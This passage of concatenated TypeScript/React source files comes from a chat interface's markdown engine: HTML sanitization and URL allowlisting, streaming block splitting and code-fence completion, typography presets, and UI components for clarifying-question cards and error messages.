rather than rendering. It carries no accessible name either way, and\n      // the real a11y form `<title>Chart</title>` is unaffected. SECOND COST\n      // added by the same round: a protected span the balance guard deems\n      // not-really-code is routed through this function whole, so bare `<tag`\n      // starts in its GAPS are escaped too — the mask check in\n      // `escapeLeftoverTagStarts` keeps that off genuine code regions.\n      const afterTag = segmentOffset + m.index + match.length;\n      out.push(hasLaterCloser(lowerSource, lower, afterTag) ? match : escaped);\n    } else {\n      out.push(match);\n    }\n    cursor = m.index + match.length;\n  }\n  if (cursor < segment.length)\n    out.push(escapeLeftoverTagStarts(segment.slice(cursor), lowerSource, segmentOffset + cursor));\n  return out.join('');\n}\n\n// ---------------------------------------------------------------------------\n// URL transform\n// ---------------------------------------------------------------------------\n/**\n * Extends react-markdown's default safe-protocol allowlist with the two\n * internal schemes the chat remark plugins emit (`card://`, `mention://`),\n * for `href` ONLY. All other URLs go through `defaultUrlTransform`.\n */\nexport function cardAwareUrlTransform(url: string, key: string): string {\n  if (key === 'href' && typeof url === 'string' && (url.startsWith('card://') || url.startsWith('mention://')))\n    return url;\n  return defaultUrlTransform(url);\n}\n","/**\n * Streaming helpers for the unified markdown engine (pure, no React).\n *\n * Design contract (unification plan §D1 \"Streaming rendering performance\"):\n * - Markdown is NOT context-free across blocks. The splitter only cuts at\n *   boundaries it can PROVE are atomic; when atomicity is unprovable the\n *   content is left in one unit (unmemoized) — correctness beats cache hits.\n * - Blocks containing `card://` / `mention://` markers are never memoized:\n *   their text is identical before/after the entity ref resolves, so a\n *   text-keyed cache would serve the stale unresolved card mid-stream.\n * - On stream completion the engine discards all of this and does ONE\n *   authoritative whole-document parse — streaming can never permanently\n *   diverge (late reference defs, footnotes, list renumbering self-heal).\n * - Tail completion auto-closes ONLY unterminated fenced code blocks\n *   (fence-count based — unambiguous). Inline emphasis/links are NOT\n *   auto-closed: a stray `*` in \"2 * 3\" or a non-link `[` would be\n *   mis-wrapped, which is worse than the brief flicker it prevents.\n */\n\nimport { createFenceTracker, isBlankLine, type FenceTracker } from '../../../utils/markdown-fences';\n\nexport interface StreamingBlock {\n  /** Raw markdown source of this unit (including trailing blank lines). */\n  text: string;\n  /** Position index — cache key component so identical blocks never alias. */\n  index: number;\n  /**\n   * 1-based line of this unit's first line WITHIN the whole document.\n   * Each unit is parsed by its own `ReactMarkdown`, so hast positions are\n   * unit-relative; the engine adds `startLine - 1` back to look ids up in\n   * the document-wide heading-id map (see ./heading-ids.ts).\n   */\n  startLine: number;\n  /**\n   * True when this unit may be render-cached: it is complete (not the\n   * trailing unit), atomic, and free of cross-block / late-resolving\n   * constructs (card/mention markers, reference definitions/uses,\n   * footnotes).\n   */\n  memoizable: boolean;\n}\n\n/** Constructs that resolve across blocks or after the text settles. */\nconst NON_MEMOIZABLE_RE = /card:\\/\\/|mention:\\/\\/|^\\s*\\[[^\\]]*\\]:\\s|\\]\\[|\\[\\^/m;\n\n/**\n * Raw HTML block-level containers. A blank line inside an OPEN one of these\n * is not a block boundary: cutting there hands react-markdown an unbalanced\n * fragment, so the container's body renders outside the container and the\n * stray close tag is dropped (`<details>` disclosure bodies escaping the\n * widget mid-stream — and the wrong render getting cached).\n */\nconst RAW_BLOCK_TAGS = new Set([\n  'details',\n  'div',\n  'table',\n  'section',\n  'article',\n  'aside',\n  'blockquote',\n  'figure',\n  'form',\n  'fieldset',\n  'header',\n  'footer',\n  'main',\n  'nav',\n  'dl',\n  'ol',\n  'ul',\n  'pre',\n  'video',\n  'audio',\n  'picture',\n  'iframe',\n  'template',\n  'svg',\n]);\n\n/** `<tag …>` / `</tag>` occurrences, used for raw-HTML depth tracking. */\nconst HTML_TAG_RE = /<(\\/?)([a-zA-Z][a-zA-Z0-9-]*)([^>]*)>/g;\n\n/**\n * A start tag whose `>` has NOT arrived yet on this line\n * (`<div\\n  class=\"x\">`). Only the trailing occurrence matters, and only\n * for RAW_BLOCK_TAGS — restricting it there keeps prose like `a <b` from\n * latching the scanner into \"inside a tag\" forever.\n */\nconst DANGLING_OPEN_TAG_RE = /<([a-zA-Z][a-zA-Z0-9-]*)(?:\\s[^>]*)?$/;\n\n/**\n * A line that may START a raw HTML block. CommonMark puts the `<` at column\n * 0..3, but a raw HTML block nested in a list item is indented to the item's\n * CONTENT column (`1.  step` → 4, and up to 7 for a wide ordered marker).\n * The old column-0..3 gate missed exactly those, so an unbalanced raw-HTML\n * container nested in a list item never shifted the scanner's depth and its\n * unit was marked memoizable — contradicting the \"unbalanced raw-HTML units\n * are never cached\" policy this module documents.\n */\nconst HTML_BLOCK_START_RE = /^\\s{0,7}<\\/?[a-zA-Z]/;\n\n/**\n * Cap on how long the raw-HTML latch may suppress cutting. An unclosed\n * `<div>` (or a start tag whose `>` never arrives) would otherwise pin\n * `htmlDepth > 0` for the ENTIRE remaining message, collapsing it into one\n * ever-growing non-memoizable unit and disabling the atomic-block\n * optimization outright.\n *\n * THE TRADEOFF, STATED HONESTLY: past the cap the splitter resumes cutting\n * even though a container is still open, so a genuinely >200-line authored\n * `<div>` / `<table>` wrapper IS cut mid-container and visibly breaks apart\n * while streaming (its body renders outside the wrapper, the stray close tag\n * is dropped). Those units are still marked non-memoizable, so nothing WRONG\n * is ever cached and the stream-completion whole-document reparse restores\n * the correct structure — but during the stream the render is wrong, not\n * merely uncached. (An earlier comment here claimed \"never a wrong render\";\n * that was only true below the cap.)\n *\n * The cap is kept because the alternative — never cutting while latched —\n * makes ONE unbounded unit out of every message containing an unclosed tag,\n * which is the common case (an LLM mid-emission always has one) and costs a\n * full reparse of the entire message on every token.\n */\nconst HTML_LATCH_LINE_LIMIT = 200;\n\n/**\n * Two properties of the fence tracker, stated so they stop being accidents.\n * A reviewer confirmed both hold today, but neither was written down, so a\n * future change could quietly break them.\n *\n * 1. EOF ON THE OPENER LINE EMITS AN EMPTY PAIR. When the stream stops exactly\n *    on a fence opener, `completeStreamingTail` closes it at EOF and the render\n *    contains a bare ```/``` — a momentarily empty `<pre>`. It is cosmetic and\n *    self-heals on the next delta. Do NOT \"fix\" it by suppressing the close:\n *    that leaks an unterminated fence into the parse instead, which is worse.\n *\n * 2. THIS SCANNER AND THE SANITIZER'S MASK CAN DISAGREE ABOUT WHICH FENCE IS\n *    OPEN, AND BOTH MUST FAIL CLOSED. `scanLine`'s `pendingOpenTag` early\n *    return skips `fences.push`, so a fence opened on a line consumed by an\n *    unclosed HTML tag is never recorded here — while `sanitize.ts`'s\n *    `blankFencedRegions` runs its own tracker over the same text and may see\n *    it. The divergence is safe ONLY because each consumer degrades toward\n *    doing less: `completeStreamingTail` closes nothing it did not see open,\n *    and `blankFencedRegions` blanks nothing it cannot locate, so the output\n *    degrades to \"render as-is\" rather than to a corrupted document. Any\n *    change to the early return, to `fences` bookkeeping, or to either\n *    consumer must preserve fail-closed behaviour in BOTH directions\n *    (scanner-ahead and scanner-behind).\n */\n\n/**\n * Line-scanner state shared by `splitStreamingBlocks` and\n * `completeStreamingTail` — ONE implementation of \"where are we in the\n * document\", so the splitter and the tail-completer can never disagree\n * about which fence is open.\n */\nclass ScanState {\n  /**\n   * Fenced-code state machine. NOT a local copy: `createFenceTracker` lives\n   * in the server-safe `utils/markdown-fences` and is the SAME instance\n   * shape the heading scanner uses, so \"is this line inside a fence\" has\n   * exactly one definition. The previous duplicate here (a verbatim\n   * `FENCE_RE` plus its own open/close state machine, cross-referenced by a\n   * comment) is precisely the drift that produced the `~~~` bug.\n   */\n  readonly fences: FenceTracker = createFenceTracker();\n  /** Depth of currently open raw HTML block containers. */\n  private htmlDepth = 0;\n  /** Raw-block tag name of a start tag still waiting for its `>`, or null. */\n  private pendingOpenTag: string | null = null;\n  /** Consecutive lines spent with the raw-HTML latch engaged. */\n  private htmlLatchLines = 0;\n\n  /** Raw-HTML state is unbalanced (a container or a start tag is still open). */\n  htmlLatched(): boolean {\n    return this.htmlDepth > 0 || this.pendingOpenTag !== null;\n  }\n\n  /** True while raw-HTML state forbids cutting (latch cap not yet reached). */\n  htmlBlocksCut(): boolean {\n    return this.htmlLatched() && this.htmlLatchLines <= HTML_LATCH_LINE_LIMIT;\n  }\n\n  /** Opaque snapshot of the raw-HTML position — compared, never inspected, by\n   *  the splitter to detect that a line moved the scanner. */\n  htmlMark(): string {\n    return `${this.htmlDepth}:${this.pendingOpenTag ?? ''}`;\n  }\n\n  /** Scan `line` from `from` for complete tags, then record any dangling opener. */\n  private scanTags(line: string, from: number): void {\n    HTML_TAG_RE.lastIndex = from;\n    let m: RegExpExecArray | null;\n    let end = from;\n    while ((m = HTML_TAG_RE.exec(line)) !== null) {\n      end = HTML_TAG_RE.lastIndex;\n      const tag = m[2].toLowerCase();\n      if (!RAW_BLOCK_TAGS.has(tag)) continue;\n      if (m[1] === '/') {\n        if (this.htmlDepth > 0) this.htmlDepth--;\n      } else if (!m[3].trimEnd().endsWith('/')) {\n        this.htmlDepth++;\n      }\n    }\n    const dangling = DANGLING_OPEN_TAG_RE.exec(line.slice(end));\n    if (dangling && RAW_BLOCK_TAGS.has(dangling[1].toLowerCase())) {\n      this.pendingOpenTag = dangling[1].toLowerCase();\n    }\n  }\n\n  /** Advance across one raw source line (mutates). */\n  scanLine(line: string): void {\n    // A start tag spanning lines wins over everything: its continuation lines\n    // are attribute soup, not markdown.\n    if (this.pendingOpenTag !== null) {\n      const gt = line.indexOf('>');\n      if (gt === -1) {\n        this.htmlLatchLines++;\n        return;\n      }\n      const selfClosing = line.slice(0, gt).trimEnd().endsWith('/');\n      const tag = this.pendingOpenTag;\n      this.pendingOpenTag = null;\n      if (!selfClosing && RAW_BLOCK_TAGS.has(tag)) this.htmlDepth++;\n      this.scanTags(line, gt + 1);\n      this.htmlLatchLines = this.htmlLatched() ? this.htmlLatchLines + 1 : 0;\n      return;\n    }\n\n    // Fence delimiters and fence content are both opaque to the HTML scanner —\n    // only `text` lines carry markup that can shift raw-HTML depth.\n    if (this.fences.push(line) !== 'text') return;\n\n    // Depth > 0 means we are INSIDE a container, where the closing tag may sit\n    // anywhere on a line (`some text </details>`). Scanning only column-0..3\n    // lines there meant such a close never decremented, so the latch stuck.\n    // At depth 0 only a line that can BEGIN a raw HTML block is considered, so\n    // `a < b` prose can't shift depth.\n    if (this.htmlDepth === 0 && !HTML_BLOCK_START_RE.test(line)) return;\n    this.scanTags(line, 0);\n    this.htmlLatchLines = this.htmlLatched() ? this.htmlLatchLines + 1 : 0;\n  }\n}\n\n/**\n * Split streaming markdown into atomic units at blank lines that are\n * provably block boundaries. A blank line does NOT split when:\n *  - inside a fenced code block,\n *  - the next non-blank line is indented (loose-list / blockquote\n *    continuation cannot be ruled out),\n *  - the next non-blank line starts a list item or blockquote AND the\n *    previous unit ended in a list item or blockquote (loose list /\n *    multi-paragraph quote continuation).\n * The FINAL unit is always the live tail (never memoizable).\n *\n * BLANK LINES COME FROM `isBlankLine` (utils/markdown-fences), never from\n * `String.prototype.trim()`. This file is the THIRD consumer of that module\n * (it already instantiates `createFenceTracker`) and makes exactly the\n * CommonMark blank-line decision the helper was minted for, yet it kept four\n * hand-rolled `trim() === ''` tests — so the module's \"every blank-line test\"\n * SSOT claim was false here. `trim()` strips the full Unicode White_Space set\n * (U+00A0 NBSP, U+000B VT, U+000C FF, U+FEFF BOM), none of which CommonMark\n * treats as blank: `splitStreamingBlocks('foo\\n<NBSP>\\nbar\\n\\ntail')` returned\n * THREE units where the non-blank filler control (`foo\\nx\\nbar\\n\\ntail`)\n * returns TWO — one NBSP line cut a paragraph into two `ReactMarkdown` units on\n * the STREAMING path, rendering two `<p>` where the non-streaming and SEO twins\n * render one. Not a security hole (the fence tracker and `htmlBlocksCut` still\n * gate the cut), but a live divergence. It survived because the swallow sweep\n * drove only `SimpleMarkdownRenderer`; the sweep now drives this splitter too,\n * in both the exotic-blank and CRLF spellings.\n */\nexport function splitStreamingBlocks(content: string): StreamingBlock[] {\n  const lines = content.split('\\n');\n  const units: string[][] = [];\n  const unitTouchedHtml: boolean[] = [];\n  let current: string[] = [];\n  let currentTouchedHtml = false;\n  const state = new ScanState();\n\n  const isListOrQuote = (line: string) => /^\\s{0,3}(?:[-+*]\\s|\\d{1,9}[.)]\\s|>)/.test(line);\n\n  /**\n   * FIRST non-blank line of the accumulated unit — i.e. what this unit IS.\n   *\n   * The continuation guard below used the LAST non-blank line instead, which\n   * silently failed for every list item carrying a second block. Take the\n   * canonical shape of an assistant answer:\n   *\n   *     1. Install:\n   *\n   *        ```bash\n   *        npm i\n   *        ```\n   *\n   *     2. Run it.\n   *\n   * At the blank line before `2.` the unit's last non-blank line is the fence\n   * closer, not a list marker — so the guard let the cut through and every\n   * remaining item became its OWN `<ol>` with no `start` attribute. The visible\n   * result is \"1. / 1. / 1.\" while the extracted TEXT stays identical (which is\n   * why the equivalence tests missed it), and because those units are complete\n   * and atomic they were `memoizable`, so the wrong render was CACHED for the\n   * rest of the turn instead of self-healing on the next token.\n   *\n   * Asking whether the unit STARTS with a marker is the right question: it stays\n   * true across items while the list accumulates (each declined cut keeps the\n   * same first line), and it is false for a paragraph that merely happens to be\n   * followed by a list — so a genuinely new list after prose still cuts.\n   */\n  const firstNonBlank = (arr: string[]): string | undefined => {\n    for (const line of arr) {\n      if (!isBlankLine(line)) return line;\n    }\n    return undefined;\n  };\n\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i];\n    const markBefore = state.htmlMark();\n    state.scanLine(line);\n    if (state.htmlMark() !== markBefore || state.htmlLatched()) currentTouchedHtml = true;\n    current.push(line);\n\n    const isBlank = isBlankLine(line);\n    // Never cut inside an open fence, nor inside an unbalanced raw HTML\n    // block container / a start tag still waiting for its `>`.\n    if (!isBlank || state.fences.openChar() !== null || state.htmlBlocksCut()) continue;\n\n    // Candidate boundary at a blank line outside fences. Look ahead to the\n    // next non-blank line to decide whether cutting here is provably safe.\n    let j = i + 1;\n    while (j < lines.length && isBlankLine(lines[j])) j++;\n    if (j >= lines.length) continue; // trailing blanks stay with the tail\n\n    const next = lines[j];\n    if (/^\\s/.test(next)) continue; // indented continuation — unprovable\n    const unitOpener = firstNonBlank(current);\n    if (isListOrQuote(next) && unitOpener !== undefined && isListOrQuote(unitOpener)) {\n      // Loose list / multi-paragraph blockquote continuation — do not cut.\n      continue;\n    }\n\n    // A unit whose entire content is whitespace is not a block — with 2+\n    // blank lines between blocks the loop reaches a cut point with nothing\n    // but blanks accumulated, and emitting it costs a `ReactMarkdown`\n    // instance (and a React key) that renders nothing. Leave `current`\n    // accumulating so the blanks fold into the NEXT unit; line numbering\n    // (and therefore `startLine`) is unaffected either way.\n    if (current.every(isBlankLine)) continue;\n\n    units.push(current);\n    unitTouchedHtml.push(currentTouchedHtml);\n    current = [];\n    currentTouchedHtml = false;\n  }\n  if (current.length) {\n    units.push(current);\n    unitTouchedHtml.push(currentTouchedHtml);\n  }\n\n  let cursorLine = 1;\n  return units.map((unitLines, idx) => {\n    const text = unitLines.join('\\n');\n    const isTail = idx === units.length - 1;\n    const startLine = cursorLine;\n    cursorLine += unitLines.length;\n    return {\n      text,\n      index: idx,\n      startLine,\n      // Units carrying UNBALANCED raw HTML are never cached: an open\n      // container (or a start tag still awaiting its `>`) is exactly the\n      // case where rehype-raw's reparse makes a stale cached render\n      // structurally wrong rather than merely late. A raw container that\n      // opens AND closes within the unit (`<div>x</div>`) leaves the\n      // scanner's depth unchanged, so it stays memoizable — correctly: its\n      // parse cannot be invalidated by later tokens.\n      memoizable: !isTail && !unitTouchedHtml[idx] && !NON_MEMOIZABLE_RE.test(text),\n    };\n  });\n}\n\n/**\n * Auto-close an unterminated fenced code block at the streaming tail so the\n * half-open fence doesn't flip the rest of the message into code while\n * tokens arrive.\n *\n * Uses the SAME scanner as `splitStreamingBlocks` (never a parallel\n * fence-count heuristic — a naive count treats ``` and ~~~ as\n * interchangeable and appends a spurious closer to `` ```\\n~~~\\n``` ``),\n * and appends the RECORDED opener so a `~~~` block is closed with `~~~`.\n */\nexport function completeStreamingTail(content: string): string {\n  const state = new ScanState();\n  for (const line of content.split('\\n')) state.scanLine(line);\n  const openChar = state.fences.openChar();\n  if (openChar === null) return content;\n  const closer = openChar.repeat(state.fences.openLength());\n  return content.endsWith('\\n') ? `${content}${closer}` : `${content}\\n${closer}`;\n}\n","/**\n * Text-size presets for the unified markdown engine.\n *\n * `default` / `compact` / `large` are carried over verbatim from the old\n * `SimpleMarkdownRenderer`. `article` is NEW — it reproduces the exact\n * typography the old `RichMarkdownRenderer` hardcoded per element, so\n * content surfaces (blog, case studies, releases, legal, docs) keep\n * byte-identical classes through the unification.\n *\n * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): the `article`\n * preset carries raw px classes (`text-[32px] md:text-[40px] …`) because\n * ODS currently has NO composite tokens for long-form prose — `text-h1`/\n * `text-h2` are Azeret Mono UI-label scale and `text-h5` is uppercase,\n * so mapping prose headings onto them would visibly regress articles.\n * The `code` entry of EVERY preset (`text-[13px]` / `text-[14px]` /\n * `text-[16px]`), not just `article`'s, is raw px for the same reason: ODS\n * has no code/mono type scale. `base-components.tsx` carries the matching\n * flag for inline code's `text-[0.9em]` (the mono FAMILY is no longer an\n * exemption — both code surfaces now use `font-mono`).\n * Per the unification plan, the missing prose- and code-typography tokens\n * are FLAGGED here for addition to ODS; the raw-px carry-over is the\n * documented, review-gated exemption recorded in the unification PR.\n * Do NOT copy these px classes anywhere else.\n */\n\nexport type TextSizeElement =\n  'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6' | 'p' | 'li' | 'blockquote' | 'code' | 'th' | 'td';\n\nexport type TextSizeClassMap = Partial<Record<TextSizeElement, string>>;\nexport type TextSizePreset = 'default' | 'compact' | 'large' | 'article';\nexport type TextSizeConfig =\n  TextSizePreset | TextSizeClassMap | { preset: TextSizePreset; overrides: TextSizeClassMap };\n\nexport const TEXT_SIZE_PRESETS: Record<TextSizePreset, Record<TextSizeElement, string>> = {\n  default: {\n    h1: 'text-heading-1',\n    h2: 'text-heading-2',\n    h3: 'text-2xl md:text-3xl',\n    h4: 'text-xl',\n    h5: 'text-lg md:text-xl',\n    h6: 'text-base md:text-lg',\n    p: 'md:text-h4 lg:text-h4',\n    li: 'text-base md:text-lg',\n    blockquote: 'text-lg',\n    code: 'text-[14px]',\n    th: 'text-xs md:text-sm',\n    td: 'text-xs md:text-sm',\n  },\n  compact: {\n    h1: 'text-heading-2',\n    h2: 'text-heading-3',\n    h3: 'text-xl md:text-2xl',\n    h4: 'text-lg md:text-xl',\n    h5: 'text-base md:text-lg',\n    h6: 'text-sm md:text-base',\n    p: 'text-base md:text-lg',\n    li: 'text-base md:text-lg',\n    blockquote: 'text-base md:text-lg',\n    code: 'text-[13px]',\n    th: 'text-xs md:text-sm',\n    td: 'text-xs md:text-sm',\n  },\n  large: {\n    h1: 'text-heading-1',\n    h2: 'text-heading-1',\n    h3: 'text-heading-2',\n    h4: 'text-2xl md:text-3xl',\n    h5: 'text-xl md:text-2xl',\n    h6: 'text-lg md:text-xl',\n    p: 'text-h3',\n    li: 'text-lg md:text-xl',\n    blockquote: 'text-xl md:text-2xl',\n    code: 'text-[16px]',\n    th: 'text-sm md:text-base',\n    td: 'text-sm md:text-base',\n  },\n  // Old RichMarkdownRenderer typography, byte-for-byte (see header note).\n  article: {\n    h1: 'text-[32px] md:text-[40px] lg:text-[48px] leading-[1.25]',\n    h2: 'text-[28px] md:text-[32px]',\n    h3: 'text-[24px] md:text-[28px]',\n    h4: 'text-[20px] md:text-[22px]',\n    h5: 'text-[18px] md:text-[20px]',\n    h6: 'text-[16px] md:text-[18px]',\n    // Full class string incl. spacing/leading — `cn` (tailwind-merge)\n    // resolves these OVER the base map's `leading-relaxed mb-4`, keeping\n    // Rich's article rhythm (`my-4`, `leading-[1.6]`, `font-sans`).\n    p: 'font-sans text-[16px] md:text-[18px] lg:text-[20px] leading-[1.6] my-4',\n    li: 'text-[16px] md:text-[18px]',\n    blockquote: 'text-[1.125em]',\n    code: 'text-[14px]',\n    th: 'text-xs md:text-sm',\n    td: 'text-xs md:text-sm',\n  },\n};\n\nexport function resolveTextSizeConfig(config?: TextSizeConfig): Record<TextSizeElement, string> {\n  const defaultSizes = TEXT_SIZE_PRESETS.default;\n  if (!config) return defaultSizes;\n  if (typeof config === 'string') return TEXT_SIZE_PRESETS[config];\n  if ('preset' in config) return { ...TEXT_SIZE_PRESETS[config.preset], ...config.overrides };\n  return { ...defaultSizes, ...config };\n}\n","'use client';\n\n/**\n * SimpleMarkdownRenderer — the chat/doc composition over the unified\n * `MarkdownEngine`. This IS the real component (not a compat alias): the\n * old 966-line standalone implementation was deleted in the unification;\n * its entire prop surface maps 1:1 onto the engine. Chat consumers keep\n * layering `additionalRemarkPlugins` (card/mention links) and\n * `componentOverrides` exactly as before.\n */\nimport type React from 'react';\nimport type { ResolveLinkResult } from '../../../types/doc-source';\nimport { MarkdownEngine, type MarkdownEngineProps } from './engine';\n\nexport type { ResolveLinkResult };\n\nexport interface SimpleMarkdownRendererProps extends Omit<MarkdownEngineProps, 'extraAllowedHtmlTags'> {}\n\n/**\n * A type-narrowed ALIAS of the engine, not a wrapper: the composition adds\n * no behavior (it only hides `extraAllowedHtmlTags` from the prop surface),\n * and `MarkdownEngine` is already `memo`'d. Wrapping it in a second `memo`\n * bought nothing and cost an extra shallow-compare pass plus a fiber per\n * chat segment.\n */\nexport const SimpleMarkdownRenderer = MarkdownEngine as React.NamedExoticComponent<SimpleMarkdownRendererProps>;\n","'use client';\n\nimport { forwardRef, useEffect, useId, useState } from 'react';\n\nimport { cn } from '../../utils/cn';\nimport { Chevron02LeftIcon, Chevron02RightIcon } from '../icons-v2-generated';\nimport type { AskDisplayProps } from './types';\n\n/** Why the card is locked. Surfaced twice on purpose: as the veil's `title`\n *  (mouse) and as the group's `aria-describedby` text (keyboard / screen\n *  reader) — a disabled control that doesn't say why reads as a bug. */\nconst LOCKED_HINT = 'This question was already answered';\n\n/**\n * `ASK` segment — the assistant asking WHICH reading of an ambiguous question it\n * should answer, as a card of numbered options instead of prose bullets\n * (Figma 1:13775).\n *\n * Picking a row sends its `label` verbatim as the user's next message: the\n * backend's guide classifier resolves that reply against the labels it offered,\n * so the row text IS the protocol.\n *\n * Without `onSelect` the card renders LOCKED — dimmed under a veil, rows\n * `disabled`, not-allowed cursor. That is the normal end state: `ChatMessageList`\n * withholds the handler as soon as any user message follows the card, because\n * the question it asked has been answered and re-clicking it would send a stale\n * label into a conversation that moved on. Same state on observer surfaces,\n * where a click would post into someone else's dialog.\n *\n * A run of consecutive `ask` segments is one card with a pager (\"1 of 2\"), so a\n * turn that asks twice reads as a single block. With one card the pager is\n * absent entirely — there is nothing to page through.\n */\nconst AskDisplay = forwardRef<HTMLDivElement, AskDisplayProps>(({ className, cards, onSelect, ...props }, ref) => {\n  const [index, setIndex] = useState(0);\n  const lockedHintId = useId();\n\n  // A shrinking run (segments replaced mid-stream) must not strand the pager\n  // past the end — clamp instead of rendering an undefined card.\n  useEffect(() => {\n    setIndex(current => (current < cards.length ? current : Math.max(0, cards.length - 1)));\n  }, [cards.length]);\n\n  const active = cards[Math.min(index, cards.length - 1)];\n  if (!active) return null;\n\n  const showPager = cards.length > 1;\n  const isInteractive = !!onSelect;\n\n  return (\n    <div\n      ref={ref}\n      role=\"group\"\n      aria-label={active.question}\n      // A disabled control must say WHY. The veil's `title` is a mouse-only\n      // affordance, so the same sentence is also carried as group description\n      // text — that is what a screen-reader user hears on entering the card,\n      // instead of two silently \"dimmed\" buttons.\n      aria-describedby={isInteractive ? undefined : lockedHintId}\n      className={cn(\n        'flex flex-col gap-[var(--spacing-system-s)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-s)]',\n        className,\n      )}\n      {...props}\n    >\n      <div className=\"flex items-center gap-[var(--spacing-system-m)]\">\n        <p className=\"min-w-0 flex-1 break-words text-ods-text-primary text-h4\">{active.question}</p>\n        {showPager && (\n          <div className=\"flex shrink-0 items-center gap-[var(--spacing-system-xxs)]\">\n            <button\n              type=\"button\"\n              aria-label=\"Previous question\"\n              disabled={index === 0}\n              onClick={() => setIndex(current => Math.max(0, current - 1))}\n              className=\"text-ods-text-secondary transition-colors hover:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary\"\n            >\n              <Chevron02LeftIcon size={16} />\n            </button>\n            <span className=\"whitespace-nowrap text-ods-text-secondary text-h6\">\n              {index + 1} of {cards.length}\n            </span>\n            <button\n              type=\"button\"\n              aria-label=\"Next question\"\n              disabled={index === cards.length - 1}\n              onClick={() => setIndex(current => Math.min(cards.length - 1, current + 1))}\n              className=\"text-ods-text-secondary transition-colors hover:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary\"\n            >\n              <Chevron02RightIcon size={16} />\n            </button>\n          </div>\n        )}\n      </div>\n\n      {/* Locked state = the rows' own `disabled` (assistive tech hears\n            \"dimmed button\", focus skips them, clicks can't fire) PLUS a veil\n            over the whole block. The veil is what makes it READ as locked: it\n            greys the answers down to caption weight without touching their\n            markup, and — sitting above the rows — it owns the pointer, so the\n            not-allowed cursor and the \"why\" tooltip show anywhere over the\n            list, not just on a row. The pager stays live above it: paging is\n            reading, not answering. */}\n      <div className=\"relative\">\n        <div className=\"flex flex-col overflow-hidden rounded-md border border-ods-border\">\n          {/* Rows carry the divider on their TOP edge except the first, so the\n                list never ends on a hanging border (the design's trailing rule\n                belongs to the custom-answer input, which this card does not have). */}\n          {active.options.map((option, optionIndex) => (\n            <button\n              key={`${option.label}-${optionIndex}`}\n              type=\"button\"\n              disabled={!isInteractive}\n              onClick={() => onSelect?.(option.label)}\n              className={cn(\n                'flex w-full items-start gap-[var(--spacing-system-s)] bg-ods-card p-[var(--spacing-system-s)] text-left transition-colors',\n                optionIndex > 0 && 'border-t border-ods-border',\n                'hover:bg-ods-bg-hover disabled:cursor-not-allowed disabled:hover:bg-ods-card',\n              )}\n            >\n              <span className=\"shrink-0 text-ods-text-secondary text-h4\">{optionIndex + 1}.</span>\n              <span className=\"flex min-w-0 flex-1 flex-col\">\n                <span className=\"break-words text-ods-text-primary text-h4\">{option.label}</span>\n                {option.description && (\n                  <span className=\"break-words text-ods-text-secondary text-h6\">{option.description}</span>\n                )}\n              </span>\n            </button>\n          ))}\n        </div>\n        {!isInteractive && (\n          <>\n            <span id={lockedHintId} className=\"sr-only\">\n              {LOCKED_HINT}\n            </span>\n            <div\n              aria-hidden=\"true\"\n              title={LOCKED_HINT}\n              className=\"absolute inset-0 cursor-not-allowed rounded-md bg-ods-bg/40\"\n            />\n          </>\n        )}\n      </div>\n    </div>\n  );\n});\n\nAskDisplay.displayName = 'AskDisplay';\n\nexport { AskDisplay };\n","'use client';\n\nimport { forwardRef, useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { AlertCircleIcon } from '../icons-v2-generated';\nimport { ExpandChevron } from './expand-chevron';\nimport { useCollapsible } from './hooks/use-collapsible';\nimport type { ErrorMessageDisplayProps } from './types';\n\nconst iconTint = {\n  error: 'text-ods-error',\n  warning: 'text-ods-warning',\n  info: 'text-ods-text-secondary',\n} as const;\n\nconst ErrorMessageDisplay = forwardRef<HTMLDivElement, ErrorMessageDisplayProps>(\n  ({ className, title, details, type = 'error', ...props }, ref) => {\n    const [expanded, setExpanded] = useState(false);\n    const { innerRef, containerStyle } = useCollapsible({ expanded });\n    const hasDetails = Boolean(details);\n\n    return (\n      <div\n        ref={ref}\n        className={cn('mb-[var(--spacing-system-xsf)] rounded-md bg-ods-card p-[var(--spacing-system-xsf)]', className)}\n        {...props}\n      >\n        <button\n          type=\"button\"\n          onClick={hasDetails ? () => setExpanded(prev => !prev) : undefined}\n          aria-expanded={hasDetails ? expanded : undefined}\n          aria-label={hasDetails ? (expanded ? 'Collapse details' : 'Expand details') : undefined}\n          disabled={!hasDetails}\n          className={cn(\n            'flex w-full items-center gap-[var(--spacing-system-xsf)] text-left',\n            hasDetails ? 'cursor-pointer' : 'cursor-default',\n          )}\n        >\n          <AlertCircleIcon size={16} className={cn('shrink-0', iconTint[type])} />\n          <span\n            className={cn(\n              'min-w-0 flex-1 text-h5',\n              expanded ? 'text-ods-text-primary' : 'truncate text-ods-text-secondary',\n            )}\n          >\n            {title}\n          </span>\n          {hasDetails && <ExpandChevron expanded={expanded} />}\n        </button>\n\n        {hasDetails && (\n          <div style={containerStyle}>\n            <div ref={innerRef} className=\"px-[var(--spacing-system-lf)] pt-[var(--spacing-system-xsf)]\">\n              <p className=\"text-ods-text-primary text-h6\">{details}</p>\n            </div>\n          </div>\n        )}\n      </div>\n    );\n  },\n);\n\nErrorMessageDisplay.displayName = 'ErrorMessageDisplay';\n\nexport { ErrorMessageDisplay };\n","import { type FC, type HTMLAttributes, forwardRef } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Chevron02LeftIcon } from '../icons-v2-generated';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { PlusCircleIcon } from '../plus-circle-icon';\nimport { Button } from '../ui/button';\nimport { Skeleton } from '../ui/skeleton';\nimport { SquareAvatar as Avatar } from '../ui/square-avatar';\nimport { TicketStatusTag, resolveStatusTagProps } from '../ui/ticket-status-tag';\nimport { MspOrganizationCard } from './msp-organization-card';\nimport { MspOrganizationCardSkeleton } from './msp-organization-card-skeleton';\nimport type { ConnectionIndicatorProps, ChatContainerProps, ChatHeaderProps } from './types';\n\nconst ConnectionIndicator: FC<ConnectionIndicatorProps> = ({ status }) => {\n  const getStatusStyles = () => {\n    switch (status) {\n      // ODS semantic status tokens — preset-defined utilities aliasing the same\n      // green/yellow/red as the raw ods-attention palette (which is CSS-vars only).\n      case 'connected':\n     